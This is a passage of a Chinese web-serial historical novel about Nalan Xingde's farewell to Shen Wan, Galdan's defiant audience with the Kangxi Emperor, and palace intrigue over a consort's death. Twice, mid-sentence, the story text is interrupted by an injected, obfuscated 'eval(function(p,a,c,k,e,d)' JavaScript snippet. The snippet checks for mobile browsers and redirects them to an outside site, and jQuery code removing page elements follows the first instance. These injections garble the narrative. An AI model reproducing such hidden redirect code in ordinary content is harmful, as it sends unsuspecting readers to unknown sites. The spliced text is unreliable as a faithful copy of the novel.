皇上你专断独行,已经在无形之中将我缘遇的女子都一一逼离了大清和京师你知道吗?是不是我越孤独、身边可以倾诉心事的人越少,皇上你就越满意? 容若转身,站立窗边,对着那棵盆栽的金桂树伤恨道:“宛卿无错,我说不出挽留宛卿的理由。是我纳兰性德无能、无能啊……” 沈宛走过去,从身后揽住容若,道:“不许公子这么说,公子能做的、能付出的已经足够多、足够广,公子自责,疼在我心。” 睫毛微颤,眼帘半垂,容若半低着头。 今日的心情,已从相见一瞬的期待转变为见后两心共痛的无计可施。 走回桌子边的圆凳坐下,容若双手握着一杯暖茶。 “宛卿这次告别,着实是匆忙,让我没有准备,我只能以词相赠。” 沈宛拿来笔墨纸砚,站在容若身侧。 “我为公子磨墨,公子安心构思就好。这一日,我都陪着公子,晚上再启程离京。” 容若方拿起笔,又失重般瞧见笔从自己的手中滑落,好似心力支撑不住千万词情落墨一般。 三次如此,三次笔滑墨溅,染袖透纸浸心。 无奈情悲,无奈倾诉衷肠,自叹寻愁揽伤。 “终究是提不起笔。”容若强作一笑,“我把词念给你听。” “公子念吧!”沈宛跟容若换坐,“我来写。” 《一辞隔·屏花应自嫌寥落》 屏花应自嫌寥落,伶仃点窗明。影疏人前,欠数枝著纸,恨笔重,指未灵。 不道相别心苦,言语简,叶凋零。去时忍看秋波泪,烟迷愁乱寄天星。江南莲蕊,思君否?迎风颦颦。 幸得容若不是至情至性之人,至情至真足矣。 前者多有剧烈言辞与动作,一番话语和拉扯,下来不过是服从现状,喧闹过后的平静,挽留过后的放手,不过是人生的一瞬记忆,久而久之定会因为“与人无别”而淡忘。 后者始终掩伤于心,不愿说多余的话,不愿有多举的劝,他就这般归错于己,试图用独特的方式来慢慢回疗自身和自身在乎的人。 那种方式,叫做:言简有尽,都付饮水词歌笔墨收;温润有度,如玉相别无需摩擦染尘。 ——沈宛是这么想的。 * 两人一起吃饭的时候,容若问她:“宛卿你说,江南好在哪里?” 沈宛道:“小桥流水人家,曲轻声软飞花,文章亭台多发,红妆玲珑有加。” “日后我要是随皇上南巡,你建议我去看江南的哪些风景?我是陪臣不是重臣,不必时时在侧,能有自己的空闲时间。” “在斜阳之下登上小楼,听远处悠扬的玉笛声,莫问横塘旧游,便是最好的意境。” “我听说,汉人的男女之情里面,有‘女吹笛,男吹叶’之典,讲的是:笛传佳音,叶生悔。后来就引申为:男子出远门时,会携带竹叶来共感相思笛韵之意。如今反过来,是宛卿要远离,我是不是去找个玉笛来相赠的好?” “公子说实话,自身到底通不通音律?” “以前是三分通,自打阿玛逼我读《诗经》以后,通了七分且更懂情爱。” “那我便要收下公子的心意。” “好,宛卿你等我,我去拿玉笛。” 此时沈宛并不知晓,玉笛在日后对自己而言有多么重要。 重要到与容若想见而不得见,只有容若的一首词温存: 《于中好·独背残阳上小楼》 独背残阳上小楼,谁家玉笛韵偏幽。一行白雁遥天暮,几点黄花满地秋。 惊节序,叹沉浮,秾华如梦水东流。人间所事堪惆怅,莫向横塘问旧游。 待容若取了玉笛回来,沈宛已经叫人端来了两碗解暑甜汤。 是紫薯黑米桂圆冰糖一起煮的素饮,已经滤去了原材料,只留碗中清汤。 “千古词圣秦观说的好:自在飞花轻似梦。正如此。”容若把玉笛拿在手中,用丝绢擦拭,“飞花和梦境,需要笛声来衬。反之没有秦观之语,我倒不知道玉笛该如何去吹的好。” “能听赠笛人的吹笛声,是我之幸。” 沈宛将一幅空白轴卷挂壁展开,细调了数种颜色的墨料,欲为容若画《飞花图》。 容若知她用意,笑道:“丹青留音,妙得佳人巧思巧手,亦是我之盼我之幸。” 沈宛真挚道:“我的爱花心,是公子给的;我的惜花意,是向公子学的。所以我能出师的,唯有将花的似梦感绘入公子的心坎里。” 容若感动,仿佛已经有画在轴。 他深深道:“秦观得李师师芳心,为她赠词:疏帘半卷微灯外,当时明月,两处照相思。我纳兰容若得沈宛情意,也应有所赠:离愁不尽临窗抛,就砚处,墨研彩。渐画渐别来,此处情深,飞花多瓣转一重。” 在容若的玉笛声中,沈宛一面听的入神、一面画的入心。 以前她无法想象他的音乐造诣,只因他自己承认不佳,如今他却在后天的修养上尽展所能,可见是为了达成一种符合别人的期待的完美。 他那么小心翼翼,一边尽善尽美地打磨着本不属于自己所喜的特技,一边希望自己的“修业”成果—— 能够在“检证者”(父亲明珠)之外的人面前,无拘无束且精彩绝伦地呈现。 他所选择的“倾听者”,不是自己的额娘与妻妾,也不是自己的文友,而是一直被他放在很重要的位置的她: 沈宛,一个爱他又为他所爱的汉人女子; 宛卿,一个专属于他且仅为他所叫的称谓。 沈宛觉得容若的“取笛之举”是刻意。 在他询问的那一刻,赠与不赠,拿与不拿与其说是取决于对方的收与不收、愿与不愿,不如说是他心头就盼着自己能够被对方所接纳。 容若的纯粹就在于此: 他对“别离”有着很清醒的认知。 送纳兰惠儿入宫选秀之日,他不做任何越规矩的事,不舍之语、执手之恋、信物之传,他一件都没有做过,他就那样笑着站在春风中,让自己的表妹去宫中完成自己的使命,去承担作为纳兰氏一族的女子的责任,他对她说不用担心,她身后有他。 送官云辞登船远航西洋之日,他不做任何失分寸的事,埋怨皇上、怨语国情、对比华夷,他一句都没针砭过,他就那样优雅地骑行在马背上,让自己的朋友去西洋见识不一样的世界,去为大清汲取可以借鉴的长技,他对她说归后如愿,他愿意为她传愿。 所以,翩翩公子对沈宛温声道:“宛卿,我们之间只有暂别没有离别,没有将你纳入纳兰家之前,我们都要经受得起考验。” “公子,”沈宛往画卷上一落章,半笑半嗔,“我可是做好了被你拼命挽留、然后拼命说服你、让你准我离京的准备的,你却是让我出乎意料。” 容若反问:“你不觉得泯然众人、或者是变成孔尚任剧本里的主角,过多的纷繁互劝,那就不是我了吗?” “女子心中,希望自己被心爱的男子挽留。” “容若心中,希望自己被心爱的女子珍惜,山长水远的牵念与在乎,胜过记忆一瞬的由衷之言,所以不留。” “我说不过公子。” “如此,我就真当自己赢了。” “‘公子本就没输过,从入室一刻至今,都是。” * 夜幕低垂。 有情人相牵之手相离处,尽是明月天涯。 “食材带在路上总归是易坏易散,宛卿你带着我的玉佩和我写给你的商号图纸前行,可得明府旗下的营生的帮衬。不费钱款饮食做不到,但给个三折绝对可行。还有就是你师傅,我至今也不知道他是谁,但我愿意在京师护的张岱先生周全,不知是否能够让你师傅认同?” “容若。”沈宛终于叫了公子的名字。 “唔。”公子雅致一应。 “你就是把什么事都考虑的太到位,才会给人安心感。师傅下江南,最记挂的无疑是在京师写书的文友张岱,待我把你的善意告知师傅,他必定会夸赞和感激于你。” “我总告诉自己:词有风月愁无涯,人活在世,格局一定要大。所以才会在接受了事实的基础上,尽一切可能让与己相关的人无牵挂而行、在别的地方也生存生活的好。” “容若我问你,你的座师蔡启僔被降职辞官后,不是回江南老家去住了吗?你可有派人南下为他做打点?你是个记师恩的人。” “这个啊……有。”容若不瞒她,“只是想着:蔡先生真学问真风骨,我有余力、应当相帮。” “蔡先生自己知道吗?” “他不知。” 路口转折处,正是止步时。 无行人无飞鸟,风静月半云,相拥正好。 容若紧抱眼前人,她的柳腰、她的气息、她的温度,让他留恋和不舍,他想让这种状态多一刻、多一宿、多一日。 沈宛亦是享受着这真真正正的“一生一代一双人”之感,希望忘却时间、忘却空间、忘却凡尘中的一切杂念,如此便能不消魂。 “飞鸿传信,定要常有,我念着宛卿。” “等我和师傅在江南安置好以后,我就把可以收信的地址告知公子。此去正是江南金丝桃绽放时,我会夹带一枚金丝桃干花浸染的笺纸一并入信封。” 容若少有地任性:“一枚怎够?好事要成双。” 沈宛笑着允诺道:“那就入十枚,十全十美,宛若有情人,时时相思相念。” “宛卿,晚别。”容若声线温和,神情元气,“此去江南,一路顺风。” “嗯。”沈宛倒退着走了几步,“容若,你要多顾着自己,照料好自己。君之侧和父膝下,切勿让皇上和明珠大人对你取之不尽、用之不竭。” “好,我会。”容若点头,“会记着宛卿的话,善待自己。” “晚别,容若。” 沈宛三步一回头,招手不舍,直到彼此的身影都消失在夜幕中。 * 提灯而返,心与路分明。 绕廊涉桥,唯听见虫鸣。 重归“饮水词歌·素菜馆”,入室而累,累中含伤。 容若半卧雅室窗侧,怅然若失,自语:“夏花未褪,秋花已落。” 心境至此就可以放下了吗? 一个人的时候,就可以做回真实的自己了吗? 那便是难过,因为沈宛远离而难过。 半阙伤心人,半阙伤心事,知之惟自知,不与长夜消。 自嚼不识味,自缝拆更散,倾翻而反惹,自顾亦自挑。 容若叫来刘管事,道:“劳你去明府给我阿玛传话,就说长公子今夜不回去了,歇在素馆内。” “公子,明珠大人的脾气你不是不知道。”刘管事耐心地试图说服,“小的遭几句训话也就罢了,但是您执意如此,明日天亮归家定是要挨罚的。” “我这个状态,不想面对任何人。”容若看了一眼墙上的《飞花图》,“我什么都留不住,只能放手只能祝福,除却表面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463892|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言词,心中极苦。” “公子您这又是何必呢?”刘管事开导,“聚散终有时,自伤难驱散。您这自寻的愁滋味,还得心药来医。” “我就是倦厌这般心里有数的神伤与心伤。”容若轻拨桌上纳兰香,“刘管事你是过来人,可有法子调节梳理于我?” “公子您既然已经决定今夜不回,那小的定会听从您的吩咐去办事。” 刘管事继续道: “说到调适心情之法,小的确实有几招:一需眼前人胜却相隔人;二需当下心境盖过往复心境;三需清醒之情替代自生之情。” “哦。”容若若有所思,“你的话,我仔细参合参合。” “那——”刘管事忍不住问,“墙上那幅宛姑娘留下的画……” “留在这‘一双人’雅室中,不管得空不得空,我念着她的时候,都会来看。” * 时隔数日。 晴空万里,一碧如洗,仿佛连天公都在为皇后娘娘的产期将至而作美。 ——乾坤朗朗,明君出生之兆啊! ——皇嫡子必定是为贤能之人,天降祥瑞。 民间对此难免是津津乐道。 所以“花鸟风月楼”的场子格外热闹,近的远的,三教九流之人都往里面聚,他们也不计较高额的入场费和茶位费,只为赶热闹和感新鲜。 这里面,就不乏一些冲动或是投机取巧之人。 那些人专门挑了这档子空子来见缝插针,无非是为己谋利和自炫名声罢了。 * 却说顾贞观在得知“纳兰性德邀请严绳孙到明府居住时日”的消息后,是千求万求:“严先生,顾某不才,至今仍让故友吴兆骞在宁古塔受苦。能救吾友者,唯有纳兰公子!” “顾先生糊涂呀!”严绳孙客观道,“你这救人之心严某有所共感,但是时机未到啊!你要是急于求成,可是会害死纳兰公子的。” 顾贞观如同“嚼蜡”般地吃了几口“花鸟风月楼”内的高价白蘑菇鸡肉馅饼,又心不在焉地听了好一会儿别人对“皇太子即将降生”的议论,才继续把注意力转回严绳孙身上。 “严先生打算何日搬进明珠府邸啊?” 严绳孙没有直接道明时间,而是说出了自己答应下来的原因: “我乃是受到张纯修之转达,才决定入明府与纳兰公子切磋学问的。到目前为止,我本人并未见过纳兰公子。” “这怎么能没见过呢?”顾贞观想当然,“纳兰公子成日跟在皇上身边,严先生你又是身居要职,不是时时有面圣的机会吗?” “我入宫奉职,处处受限,才华并不能得到理想当中的施展。”严绳孙微叹,“皇上日理万机,不是谁都能随便见的。” “皇上因何养着明珠之子?” “顾先生千万问这样的话,仔细会掉脑袋!” 严绳孙脸色忽变,道:“一个‘养’可是会要人命的,纳兰公子最忌讳两个字,一个是从他的正夫人卢氏口中说出的‘若’字,另一个是你顾贞观口中不择言的‘养’字!” 顾贞观浑身一颤,擦了把冷汗。 纳兰公子跟卢氏夫人之间有没有将“若”字和解他不知道,但是自己要是因为一个“养”犯了禁忌,没准会落得一个: 皇上未觉,先被明珠派人杀了的结局! 那个拿李白的诗来预言公子寿命的算命术士,不正是死无葬身之地吗? “皇上对人家公子,那叫历练不是养。” 严绳孙单手关节叩击桌面,“人家公子经受的风雨和磨难,所得的天恩和圣眷,岂是你我可以想象的?他凭的可是真才学和真本事,从不虚浮谄媚。” “严先生误会顾某之意了,顾某只是听说:现在纳兰公子身无一职,半赋闲在家,多与文人接触,却偏偏没有给顾某一个会面的契机啊!” “顾先生你真是一无所知啊!”严绳孙对顾贞观摇头,“纳兰公子如今的俸禄和地位都照旧,只要他愿意,皇上在朝后会去的地方,无论是养心殿还是书房,他想呆哪儿呆哪儿,连梁九功梁公公都是千百个留神伺候的!就在前日,皇上还给人家公子赐了一幅千古画圣顾恺之的真迹呢!” “画圣是吴道子啊!” “顾恺之是千古画圣!” 顾贞观莫名其妙留下两行眼泪来,羡慕与叹服参半。 “顾某得恺之的宋人临摹之作足矣。” “罢了吧,顾先生不知道吗?宋人的临摹本也是珍贵,亦是在纳兰公子手中。” 顾贞观自嘲了几句,却不知在日后,机缘巧合之下,自己有幸与纳兰性德共赏东晋名家顾恺之的真迹。 而在顾贞观客居苏州之时,纳兰性德赠词曰: 《梦江南·新来好》 新来好,唱得虎头词。【注1】 一片冷香唯有梦,十分清瘦更无诗。标格早梅知。 见严绳孙起身欲离,顾贞观以为他是要去纳兰公子家中,便立刻拱手做出请求。 “顾某决心与严先生一同前往。” “顾先生,你可不能不请自去,明府虽然不是龙潭虎穴,但也等级森严、秩序有别,不是谁都能进去的。” “此时不待,更待何时?” “小不忍则乱大谋,更何况顾先生你也不见得有谋啊!” 顾贞观终究是做了罢。 * 顾贞观和严绳孙还未走出几步,就有一阵阵疾驰而过的马蹄声卷耳而来。 二人一并扶着窗栏,向下面望去,只见: 骑马者们都穿着传统的蒙古服饰,体格明显比满人要壮硕,挥鞭的动作也要强劲有力许多。 这般阵势,非漠北之兵莫属;如此匆匆,非要事之莫辩。 街道两侧,已有人提心吊胆;高阁之上,话题骤然而变。 顾严俩人迅速把目光收回,相互对望了一眼,心照不宣: 这噶尔丹的使者,是去往皇宫方向呀! 【注1】 虎头词: 1、虎头是东晋画家顾恺之的小字,(顾恺之本字长康,人称长康公子),纳兰性德以“虎头词”暗喻顾贞观,(两顾都是出身江南,实为同乡同源)。 2、顾恺之以画传神,顾贞观以词留名,纳兰性德的词意是:顾先生词中的标格,只有有灵性的梅花知道。顾先生身边无顾恺之那样的“点梅”之人互通心意,我闲来反复吟诵你的作品,却能有所领会。 132.第132章 翌日。 太和殿之上,康熙皇帝接见了噶尔丹汗本人和随他进殿的三名使者。 噶尔丹汗不称臣、不祝大清天子万岁万岁万万岁、亦不跪,只单手置于胸前,半弯腰:“叩见皇上,皇上万安。” 康熙皇帝僵持着寻常的脸色,道:“汗王不远前来,可是有要事要参勤于朕?” 之所以这么问,康熙皇帝只等着对方正中下怀质问“蒙古妃子身死”之事,自己好趁机向重臣子揭露噶尔丹的贪婪、残暴和侵略之心。 哪想噶尔丹汗竟然对后宫之事一字不问,只道:“本汗王一心为大清镇守北面大漠与草原,没有功劳也有苦劳,理应获得封赏。此次带领使者来朝,乃是对大清皇帝有三请求。” 列位臣工纷纷议论,核心皆是: 噶尔丹汗亲自向康熙皇帝开口,想要谋夺的封号和欲将索要的东西怕是不少,看康熙皇帝的模样,只怕是没法给也不肯给。 康熙皇帝看了一眼身后的司礼大太监,那位宦官立刻上前数步,代表大清天子道:“皇上准来者陈述请求——” 噶尔丹汗一挺胸,半昂着头,中气十足道: “噶尔丹自幼在草原长大,按资历和功绩论,应得大蒙古汗王之位;此正值酷暑,草原解暑物资匮乏,牲畜饲料难储,牧民为找合适水源地而多迁,故而向大清皇帝请求拨给供需品和规让出更多游牧范围;噶尔丹至今尚未娶妻,已到适婚之龄,望皇上从爱新觉罗皇室挑选合适女子,和亲于本汗王。” 康熙皇帝听见:自己抓着宝座扶手的双手的指关节处,发出了“咯吱咯吱”的颤怒之声。 如果说噶尔丹汗的前两条请求还在预料之中,那么第三条就是挑衅了玄烨自己作为皇帝的底线。 噶尔丹汗想要的和亲女子,不是从“八旗格格”里面或“汉军旗”里面选,而是堂堂言之:要娶皇家宗亲。 ——要不是朕的公主尚小,怕是不得不被噶尔丹汗倒逼同意和亲了吧? ——荣妃马佳氏之女,固伦荣宪公主嗷嗷待哺,断是不可能送到噶尔丹汗身边去的。 明珠站出来道:“启禀皇上,臣有话要说。” 康熙皇帝强作镇定,威严一字:“准——” * 明珠对噶尔丹汗慷慨陈词: “我大清自太宗皇帝起才定下公主婚约制度,有固伦公主先例,乃是七岁与敖汉王子班第定下婚约,十三岁下嫁辽西。固伦公主深得夫君疼爱,生下五个孩子且为大清覆灭大明做出了贡献,也使得夫君的部族至今效忠于大清。” “而今皇上正值青年,膝下子女个个年幼,汗王你就提出和亲的无理之举,当真是叫皇上难堪。皇上的颜面何从搁置?臣明珠请汗王三思!” 索额图故意道:“明珠大人要是不懂形势,就千万别乱说话,还不如叫了贵公子来,好让贵公子炫一炫比你这个阿玛更厉害、更到位的话术。” “明珠大人,如今你这个举例,可不是给皇上一个台阶下,而是在此打了皇上的颜面,人家汗王只是提出要求,又没有叫我朝公主去漠北当人质,何处不合理?” 明珠冷问:“照索大人看,此事应当如何应对?” 索额图道:“臣以为,和亲之事,可以效仿太宗皇帝,定下婚约,等到公主长大再下嫁不迟,这样便换得双方和气。太宗皇帝之女,多是远嫁各部族,臣读史书,清清楚楚地记得太宗皇帝曾经说过:身为皇女,应当以‘为国做出贡献’为己任,不可任性不从旨意。” “索大人,你简直毫无人性,不知为臣之道,不晓忠君之本!”明珠气道,“太宗皇帝是将公主们主动下嫁,而康熙朝……却是公主被迫而嫁啊!” 索额图却是没把明珠放在眼里,转而对康熙皇帝道: “皇上,噶尔丹汗亲自来朝,可见其对和亲之事的重视;噶尔丹汗敢当着我等文武之面说出‘未娶’二字,也足以见得其对我朝公主的真情。所以此事不应只看当下,皇上您更应当把目光放长远啊!一切都是为我大清着想!” 要不是曾与爱子容若商量和预见过今日局面,明珠早就把在心中所骂之语当中众人的面和盘托出了。 ——索额图,你真觉得自己大义的话,日后赫舍里皇后若是诞下女儿,你肯不肯把嫡公主事先定亲远嫁啊?好,即便是赫舍里皇后诞下儿子,等到嫡子长大,你肯不肯让他代替皇上去远征噶尔丹啊? ——真是站着说话不腰疼。 * 康熙皇帝从宝座上站起,列位臣工赶紧正色正身以待。 众人只听见康熙皇帝对噶尔丹怒斥: “大蒙古汗王之位,朕意已决,不做册封;供需品拨给和游牧范围割让,朕已三思,前者应有牛羊皮草来换,后者乃是动摇边界之惑举,汗王你对大清无条件索取物资、又意图以牧民游牧为借口来侵占我大清领土,朕断断不容。” “而你的第三请求,更是荒谬!蒙古王妃的册立,草原自有草原的规矩和礼俗,怎可牺牲了朕的女儿的将来?你若是真的心存与大清相结姻亲之念,就应该让朕来做主与安排,朕自会选择合适的女子到你身边去共结满蒙之好。” 岂料噶尔丹汗竟然这般回应: “既然皇上不舍得公主定亲下嫁,那本汗王听闻:一等公朴尔普之女官氏格格云辞与众不同,是个真性情、真飒爽、真聪慧的女子,将她指婚给本汗王如何?” 满朝文武小声议论纷纷。 康熙皇帝不容置否,道:“朕对官氏格格的婚事已有安排,汗王你不必想。” “皇上对本汗王的要求全部拒绝,可知后果?” 见噶尔丹面带威胁之色,康熙皇帝拿出天威,道: “朕的天下,岂容你拿出有辱国本和颜面的条件来叫板!朕是中原之主,坐镇的是四海江山,要是连是非黑白都无法自己做主,怎称得上是明君?” 噶尔丹抽起嘴角来笑了笑,那副姿态,就跟没把康熙皇帝的话当回事一样。 明珠和索额图都没有说话,只将后续交给康熙皇帝来随机应变。 康熙皇帝绕过大型仙鹤摆件,走下銮阶,来到噶尔丹面前。 他心里清楚,这么做十分危险,万一噶尔丹随身带着匕首想要弑君,那么自己时时刻刻都可能会中招。 然而,尊严和国力在前,不可有所退缩。 “朕八岁登基,至今在位十四载春秋,从未见过哪个部族首领敢像噶尔丹汗你这般无礼。” “朕不会对漠北出兵,你也不必蓄谋反朕,咱们就看着,到最后是谁输谁赢,叫沙俄的彼得大帝和法兰西的路易十四都当个见证者:康熙皇帝要让全世界都知道,大清在一代圣主的统治下,必将国土完整、国力蒸蒸日上、国事利勤为民,不容任何乱臣贼子败坏蓝图!” 噶尔丹汗仍旧不说话。 他与康熙皇帝目光相交锋,两两不相服。 一个是如日中天的漠北一霸,手下骑兵精锐,所向披靡,只等步步吞噬大清与北蒙古之间的边界线;另一个是不屈不挠的九五之尊,正值大展伟略之际,或深有筹谋、或故作声势,一心只为开创大清盛世。 二人的交汇,注定了要在历史上留下浓墨重彩的一笔。 双雄的际会,注定了要演变成日后的不可估量和嗟叹天意。 康熙皇帝勒令:“汗王,你带着你的三位手下回去吧!” 噶尔丹沉默地用手贴胸,对康熙皇帝半鞠躬后,一挥手,带着三位亲信大步走离太和殿。 * 养心殿,玄烨怒气冲冲而返。 他见纳兰坐在侧面温润,就对比鲜明冲他发泄道:“明珠和索额图,噶尔丹汗本人,没有一个叫朕顺心!” 纳兰起身对康熙皇帝行了礼,道:“皇上把怒火发出来也好,人能够更清醒些。” 见皇上的气稍微顺了些,纳兰问:“噶尔丹汗如今是回去了?还是继续留京?” 玄烨往宝榻上一坐,道:“朕下令让他回去,至于他走没走或是似走还留,那要等守城的将领来回话以后,朕才知道。” “皇上既然已经把自己的意思表明,也就不必对自己的今日所言懊恼、揪心、烦躁,事态的发展未必只分战或者不战,皇上只当是‘大清跟北蒙古打了场不太愉快的交道’就好。” “如你之前所说,朕在朝堂上与噶尔丹相互对峙之际,的的确确是双方都没有足够的理由来站住脚——想打的,想反的。” 沉默了一阵子。 饮了口清茶后,玄烨复气道:“这事要是被史官记录在案,就是朕这一朝的笑话。” “笑话倒不至于,”纳兰道,“但是皇上你要决心做个明君的话,就不能对史官的青笔多做干涉。” “朕——”玄烨服气,“让史官如实载册就是!” 于是,在日后的《清圣祖仁皇帝实录》里面,便有了这般记载: (康熙皇帝在见噶尔丹时,双方各有一词。) 论其终果,则帝无所赢,对方亦无所输,理之欠缺也。帝与纳兰君前后多有谈辩,盖如侧臣之言也。 * 在后宫众人都以为“蒙古妃额哲氏”之死即将不了了之,皇后娘娘也未受惊吓之时,那日跟慈宁宫的掌事大太监李福连李公公一同目睹了“蒙古妃额哲氏”之死的小太监常保,竟然失心疯! 常保就跟是不受控制一般,逢人就说: “融贵人死的蹊跷,上一瞬我还跟干爹一同瞧见她在池子边站着,下一瞬她就掉进去死了,定是有神鬼作祟!后宫不宁,必有天罚!” 哪想不出一日,常保也死于非命。 共事的另一个小太监常安的说法是: “常保不知怎的一脚踩空,扑撞到石块,当场毙命!” “奴才将此事回了总管大太监顾问行顾公公,顾公公只说了四个字:‘因果报应!’奴才深以为然。” “夜长梦多,奴才只怕这皇宫恐怕是呆不得了,就未跟干爹打招呼,直接请了顾总管的准,明日到内务府去领遣散的钱款然后离开紫禁城,一辈子都不再回这红墙绿瓦里面了。” 李福连吓的慌忙去太皇太后跟前请了罪,把自己当日的所见所闻都实话实说了一遍。 “太皇太后开恩呐!”李公公连连磕头,“奴才和徒弟常保常安只是看见了融贵人的死,没看见她是怎么死的呀!” “李公公,你在宫中几年?你徒弟在宫中几年?”苏麻喇姑问,“你如此不经吓、如此被两个不成器的徒弟迷慌了心智,跑到老祖宗面前来自失分寸,可不是给自己揽罪吗?” “苏嬷嬷说的是。”李公公忽然清醒,“奴才再次给太皇太后回话,那日奴才和两个徒弟亲眼目睹融贵人自个失足落水,她的死因全在自个,跟谁都没关系!” “罢了。”孝庄道,“人呐,要想在后宫生存下去,就要把自己的‘所见所闻’都往契合时局的方向去说,李公公,你要是想知道融贵人是怎么死的,我倒是可以说。” 李公公慌忙摇头,“奴才不敢——” “老祖宗可是为你好。”苏麻喇姑道,“免得日后你也着了心魔,惶惶不可终日。” 李公公一磕头,“奴才听太皇太后训示——” “融贵人会死,是皇上的安排。” 孝庄简明扼要,“她的死因倒也好说,跟君要臣死臣不得不死一样,所以她是领死而死。天子起杀戮,杀近身之人,从来不需多说理由。” 李公公冷汗满额,一时之间竟然无从答话。 苏麻喇姑道:“老祖宗可是把最关键的点都向李公公你做了明示,李公公你也应当好好在慈宁宫当差和为后宫息事宁人做出点有用的事来才行。” 李公公不停地用袖口擦着额头,他心绪慌乱,唯独明白了一点: ——融贵人既是自尽又不是, ——皇上既是操刀者又是, 这残局,说白了不是还得让人去收拾吗? 太皇太后不方便出面,皇后娘娘没有心力去管,这既然“保全皇上名声”又要“让后宫人人心服口服”的事,还得是由暂行协理六宫之权的惠妃娘娘来处理。 * 午后。 小有遮日的云翳,小暑暂消,惠妃娘娘走在花园小径上。 远黛道:“融贵人之事未了,现在后宫各处的人,都是管不住嘴,议论的越发厉害了。” 惠妃稳步向前,“所谓协管六宫,管的不是人言议论、也不是行端检德,而是各处的人的心思能不能都向着皇上。” “娘娘说的有理。说归说,斗归斗,后宫的人心都往皇上身上靠是最要紧的,娘娘管的好,便是皇上想要达到的‘家和万事兴’的目的。” “说白了,说与斗之间,其实为己还不是等同于为皇上吗?为了被皇上多看几眼,为了让皇上多停留一刻,嫔妃们谁不是带着私心的?只是‘私心’二字,用在她们自己身上就等于是‘对皇上无条件付出’罢了。” “娘娘看得过于透彻,只怕这份心思迟早也会被皇上琢明。” “皇上早该知道了,不然也不会将协理六宫之权暂交本宫。” 午后果然花静,花静才能让人冷静。 冷静方可智慧,智慧换得至上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“臣妾近来承宠多,心里却是没有一天不感念着皇后娘娘的。臣妾常常在皇上耳边言及后宫的姐妹之情与家和之乐,皇上听后,也没有不是夸赞六宫的。” “臣妾身边的人早已瞧见融贵人神智不清,时时有寻死之象,便将此事如实告知了皇上。皇上听罢,倒也没有明确表态,只是谁也没有想到融贵人竟然死了,这原本就是责任在她的意外之事,却让一个小太监搅的后宫满是风雨,实在是无趣也不值。” 此时,德嫔身边的宫女在主子的暗示下往前几步,跪在惠妃和众嫔妃面前,道:“奴才可以作证,融贵人死前行为谬诡,言语紊乱,对身边的下人多有无端责罚,思见皇上而不得,便违背宫归做出了巫术之事!” 在众嫔妃惊讶的目光中,那名宫女继续道: “融贵人身死当日,有下人向太皇太后揭发其使用巫术勾魂圣心的错行,太皇太后便派了掌事大太监李福连李公公带着两位小太监一并去查。哪知道融贵人自己心虚,畏罪独自前往池子,就想着将巫术之物扔掉,好销毁证据。” “结果就是苍天有眼,恶人有恶报,她在扔东西的时候自个失足落水死了!这一幕又正好被小太监常保看见,才有了后续的一系列烦扰后宫安宁之事。” 荣妃马佳氏问:“那小太监常保怎么在融贵人死了的当天不说实话,非要等到过后再说有的没的胡话,自己找死呢?” 德嫔的宫女道:“回荣妃娘娘,融贵人死的时候,目击者也就李公公和常保常安三人,他们也是怕被当成幕后黑手的,为了避罪自然是不敢当下说。” “她说的有理。”宜妃道,“这怪力乱神之事偏偏就发生在皇后娘娘待产期间,谁敢说?巫术以小见大,不管是用在哪方面、用在谁身上、为了求得什么愿,都是后宫最忌讳的。” 荣妃又问:“你是如何知道融贵人使用巫术来求恩宠的?” 德嫔的宫女道:“奴才去御膳房交待给皇上准备的膳食时,听见融贵人的侍女说的。那位侍女是奴才的同乡,她的话不会有假。融贵人的巫术用具和针线,也是吩咐了那位侍女去向观德殿的法师拿的。” “好,”惠妃当机立断,“即刻叫人去传了法师来,叫法师当众对峙真假!” “惠妃娘娘何须这般急?”荣妃似乎掉进了局里,逐步相信了那宫女的措辞,“那宫女若是说谎,就是死罪,臣妾料她也不敢。所以她的话可信,融贵人叫侍女找法师借物之事属实。” 惠妃做出了严肃神色,指着那名宫女再问:“你说的可都是真话?” 德嫔的宫女道:“奴才所言,句句不假。” 惠妃便让那位宫女起来和回到主子身边,对众嫔妃道: “好在是噶尔丹汗没有追究此事,否则拖到现在才让真相水落石出,就是本宫的失职,皇上怪罪下来,六宫也是免不了一并担罚的。要是惊动了皇后娘娘,要皇后娘娘在身子重的时候来向皇上请求从宽以待,各位妹妹心里可是过意得去?” 见厅内一片沉默,惠妃息事宁人道: “如今各位妹妹便是清楚了:融贵人之死,全是她的自我招致,怪不得任何人。本宫会叫人去回了太皇太后和皇上,这事到此为止,就结了吧!” 众嫔妃再次起身:“臣妾等,同惠妃娘娘之意。” * 等众嫔妃都散了以后,惠妃总算是松了一口气。 她被远黛扶着踏入了内室,躺靠在了近窗的长榻上。 “宫闱就是如此,永远分不清黑白。要想结果最好,就必须找人出来磨砺话术,把罪和过错都归死者,才能让事态过去。” “娘娘,远黛斗胆问一句:照您看,融贵人是怎么死的?” “本宫看,融贵人是被皇上用计和设局杀死的,具体手法和做法,只有皇上本人知道。” “融贵人本就是皇上手里的一颗棋子,入宫是为了皇上的战意,赐死也是为了皇上的战意,她的可悲就在于,史册不会为她留名,只会给皇上正名。” “战意?皇上不是不打漠北了吗?” “远黛你错了。皇上不是不打漠北,只是把征战噶尔丹的时间往后挪了而已。” “娘娘可知道容若公子的意思?” “表兄的意思,一是主张皇上在后期亲征噶尔丹;二是希望那时候胤禔已经长大,可以跟随皇上一起出阵,勇战敌寇、建立军功;三是祈愿大清领土完整,国泰民安。” 133.第133章 坤宁宫。 太皇太后孝庄和苏麻喇姑一同前去探望赫舍里皇后。 